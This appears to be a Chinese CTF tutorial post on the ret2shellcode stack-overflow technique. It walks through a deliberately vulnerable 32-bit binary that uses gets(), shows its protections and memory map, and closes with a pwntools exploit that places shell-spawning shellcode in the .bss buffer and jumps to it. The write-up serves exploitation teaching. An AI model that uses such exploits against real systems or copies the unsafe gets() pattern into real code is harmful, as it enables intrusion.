本题为ret2shellcode-example

题目路径

/ctf-challenges/pwn/stackoverflow/ret2shellcode/ret2shellcode-example

一、原理

ret2shellcode,即控制程序执行 shellcode 代码。shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。一般来说,shellcode 需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码。在栈溢出的基础上,要想执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限

首先看C代码:

#include <stdio.h>
#include <string.h>
char buf2[100];
int main(void)
{setvbuf(stdout, 0LL, 2, 0LL);setvbuf(stdin, 0LL, 1, 0LL);char buf[100];printf("No system for you this time !!!\n");gets(buf);strncpy(buf2, buf, 100);printf("bye bye ~");return 0;
}

二、程序分析

Checksec看一下这个程序的保护机制

$ checksec ret2shellcode
[*] '/home/hollk/ctf-challenges/pwn/stackoverflow/ret2shellcode/ret2shellcode-example/ ret2shellcode'Arch:     i386-32-littleRELRO:    Partial RELROStack:    No canary foundNX:       NX disabledPIE:      No PIE (0x8048000)RWX:      Has RWX segments

没有开启任何保护,并且在最后RWX指出程序具有读、写、执行权限。IDA看一下

int __cdecl main(int argc, const char **argv, const char **envp)
{int v4; // [sp+1Ch] [bp-64h]@1setvbuf(stdout, 0, 2, 0);setvbuf(stdin, 0, 1, 0);puts("No system for you this time !!!");gets((char *)&v4);strncpy(buf2, (const char *)&v4, 0x64u);printf("bye bye ~");return 0;
}

v4为gets函数接收数据长度范围,依据ret2text的方法可以得到字符串起始位置距离ret跳转0x6c+4个字节,接下来使用strncpy函数将按输入的内容复制到buf2变量当中。和ret2text不同的是ret2shellcode程序中并没有直接可以调用的"/bin/sh"可以用,没有也没关系,由于NX保护没有开启,我们可以自己构造shellcode放在栈中。接下来需要找存放shellcode的位置,由于输入的字符串存储在buf2变量当中,所以可以从buf2变量下手

.bss:0804A080                 public buf2
.bss:0804A080 ; char buf2[100]
.bss:0804A080 buf2            db 64h dup(?)           ; DATA XREF: main+7Bo
.bss:0804A080 _bss            ends
.bss:0804A080

通过IDA可以找到buf2变量存放在bss段(0x0804A080),因为一会自己构造的shellcode需要存放在buf2变量中,而buf2变量存放在程序的bss段,所以需要通过gdb查看一下该程序是否在bss段具有执行权限,如果没有执行权限,连带着buf2变量中的shellcode就不可执行

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA0x8048000  0x8049000 r-xp     1000 0      /home/hollk/ctf-challenges/pwn/stackoverflow /ret2shellcode/ret2shellcode-example/ret2shellcode0x8049000  0x804a000 r-xp     1000 0      /home/hollk/ctf-challenges/pwn/stackoverflow /ret2shellcode/ret2shellcode-example/ret2shellcode0x804a000  0x804b000 rwxp     1000 1000   /home/hollk/ctf-challenges/pwn/stackoverflow /ret2shellcode/ret2shellcode-example/ret2shellcode
0xf7ddd000 0xf7fb2000 r-xp   1d5000 0      /lib/i386-linux-gnu/libc-2.27.so
0xf7fb2000 0xf7fb3000 ---p     1000 1d5000 /lib/i386-linux-gnu/libc-2.27.so
0xf7fb3000 0xf7fb5000 r-xp     2000 1d5000 /lib/i386-linux-gnu/libc-2.27.so
0xf7fb5000 0xf7fb6000 rwxp     1000 1d7000 /lib/i386-linux-gnu/libc-2.27.so
0xf7fb6000 0xf7fb9000 rwxp     3000 0
0xf7fd0000 0xf7fd2000 rwxp     2000 0
0xf7fd2000 0xf7fd5000 r--p     3000 0      [vvar]
0xf7fd5000 0xf7fd6000 r-xp     1000 0      [vdso]
0xf7fd5000 0xf7ffe000 rwxp    29000 0      <explored>
0xf7fd6000 0xf7ffc000 r-xp    26000 0      /lib/i386-linux-gnu/ld-2.27.so
0xf7ffc000 0xf7ffd000 r-xp     1000 25000  /lib/i386-linux-gnu/ld-2.27.so
0xf7ffd000 0xf7ffe000 rwxp     1000 26000  /lib/i386-linux-gnu/ld-2.27.so
0xfffdd000 0xffffe000 rwxp    21000 0      [stack]

通过gdb中vmmap命令可以查看程序各段执行权限,由于buf2存放地址为bss段的0x0804A080位置,结果显示

0x804a000  0x804b000 rwxp     1000 1000   /home/hollk/ctf-challenges/pwn/stackoverflow /ret2shellcode/ret2shellcode-example/ret2shellcode

可以看到执行权限为"rwxp",所以该bss段具有执行权限,那么在buf2变量中写入shellcode就可以执行。

三、EXP

EXP的思路:先使用字符串将整个可控内存空间填满,接下来覆盖saved edp和ret地址,在输入并回车后,字符串就会复制到buf2变量中,那么前期填充字符串的时候就可以使用shellcode字符串追加’A’这种形式进行填充,最后将buf2变量的地址覆盖到ret跳转位置,程序返回后会执行存放在buf2变量中的shellcode

EXP:

from pwn import *sh = process('./ret2shellcode')
buf2_add = 0x0804A080
shellcode = asm(shellcraft.sh())
payload = shellcode.ljust(14,'hollkdig')+p32(buf2_add) #112个字节+buf2_add
sh.sendline(payload)
sh.interactive()

好好说话之ret2shellcode相关推荐

  1. 如何看当前windows是utf8还是gbk_职场中的OKR如何“好好说话”

    在工作中,经常会遇到各种各样的问题需要沟通,不管是团队内部的,还是跨部分,或者是对上级汇报还是管理下属.我们发现,有些能力很优秀的人,他们讲的内容,别人很快能理解.但是有的人,说了半天,大家也不知道他 ...

  2. ⊱人永远需要两种能力:好好说话和情绪稳定

    昨晚已经躺下,收到朋友的一条微信. 是一张截图,题目是:武昌火车站附近爆发社会恶劣事件--面馆老板因与食客发生口角冲突被砍头断臂,事后扔进垃圾桶. 现场十分血腥,被围观群众拍下迅速在微博等网络媒体上传 ...

  3. 读书笔记之《好好说话》

    作者 主创成员:马东.马薇薇.黄执中.周玄毅.邱晨.胡渐彪.刘京京. 感想 这本书的主创者是<奇葩说>的大牛们,这也是将它纳入书单的原因.  不管在生活中还是在工作中"好好说话& ...

  4. 好好说话之Tcache Attack(1):tcache基础与tcache poisoning

    进入到了Tcache的部分,我还是觉得有必要多写一写基础的东西.以往的各种攻击手法都是假定没有tcache的,从练习二进制漏洞挖掘的角度来看其实我们一直模拟的都是很老的环境,那么这样一来其实和真正的生 ...

  5. 好好说话之Fastbin Attack(1):Fastbin Double Free

    好像拖更了好久...实在是抱歉....主要是fastbin attack包含了四个部分,后面的例题不知道都对应着哪个方法,所以做完了例题才回来写博客.fastbin attack应该也会分四篇文章分开 ...

  6. 沟通技巧-《好好说话》书中的精髓:掌握沟通、说服、谈判、演讲、辩论的五维话术,让你在任何场景下,都能做到处变不惊,学会说话这个技术活。

    <好好说话>书中的精髓:掌握沟通.说服.谈判.演讲.辩论的五维话术,让你在任何场景下,都能做到处变不惊,学会说话这个技术活. 相信在生活中,每个人都可能因为不会说话遇到一些困难: 工作辛苦 ...

  7. 好好说话之Use After Free

    到了Use After Free啦,总体来说这种手法并不复杂,特征也很明显,就是在静态分析阶段观察释放chunk之后指针是否置空.本以为参加hw会往后拖更,没想到这么快就写完了.如果前面一直跟着学的话 ...

  8. 好好说话之unlink

    堆溢出的第三部分unlink,这可能是有史以来我做的讲解图最多的一篇文章了累死 .可能做pwn的人都应该听过unlink,见面都要说声久仰久仰.学unlink的时候走了一些弯路,也是遇到了很多困扰的问 ...

  9. 好好说话之IO_FILE利用(1):利用_IO_2_1_stdout泄露libc

    前言 本来是在做tcache attack的例题的,但是wiki上的challenge2考察的重点不仅仅是在tcache.题目程序中没有输出的功能,所以无法像往常一样去泄露libc,这个时候就需要进行 ...

最新文章

  1. c语言一行黑白相间的瓷砖,C语言编程练习15:贴瓷砖
  2. springboot在工具类中添加service的方法,显示为空的解决方案
  3. 解决htmlfile: 未知的运行时错误
  4. 最大化_怎样保证油压缓冲器工作效率最大化?
  5. 推荐系统(5)-深度推荐模型-AutoRec、DeepCrossing、NeuralCF、PNN、WideDeep、FNN、DeepFM、NFM
  6. LeetCode--139. 单词拆分(动态规划)
  7. linux mysql libc.so_Linux libc依赖包问题如何解决?
  8. java给文件777权限_一次心惊肉跳的服务器误删文件的恢复过程
  9. Educoder jQuery 入门
  10. PHP获取客户端IP函数
  11. 给计算机添加网络打印机驱动,详细教您电脑怎么安装打印机驱动
  12. APM 、PX4, PIXHAWK
  13. H3C 交换机web页
  14. 泰服游戏服务器如何显示中文,【战争机器不能显示中文怎么解决】如何解决_战争机器中文设置教程_游戏城...
  15. android+属性动画+高度,android 自定义view+属性动画实现充电进度条
  16. 7-23 币值转换 (20 分)
  17. 【计算机网络】计算机网络-分组发送相关计算
  18. 什么是超融合数据中心?超融合数据中心的价值是什么?
  19. 计算机考试打字小作文,关于打字考试的感悟作文
  20. android输入法把底部顶起来,Android 输入法将底部布局顶上去遮挡布局问题

热门文章

  1. Java Telephony
  2. 揭秘电信“龙计划”:合约手机将执行“四统一”
  3. 防火墙的基础配置(一)
  4. 科大讯飞在线语音合成(2018最新版本)
  5. DSP TMS320C5509A之DAC8164
  6. post请求或get请求通过url传递参数
  7. Linux tar/rpm/yum命令软件安装
  8. python字符串格式时间转化为时间戳
  9. JAVA 11.11
  10. 函数指针的用法以及用途详解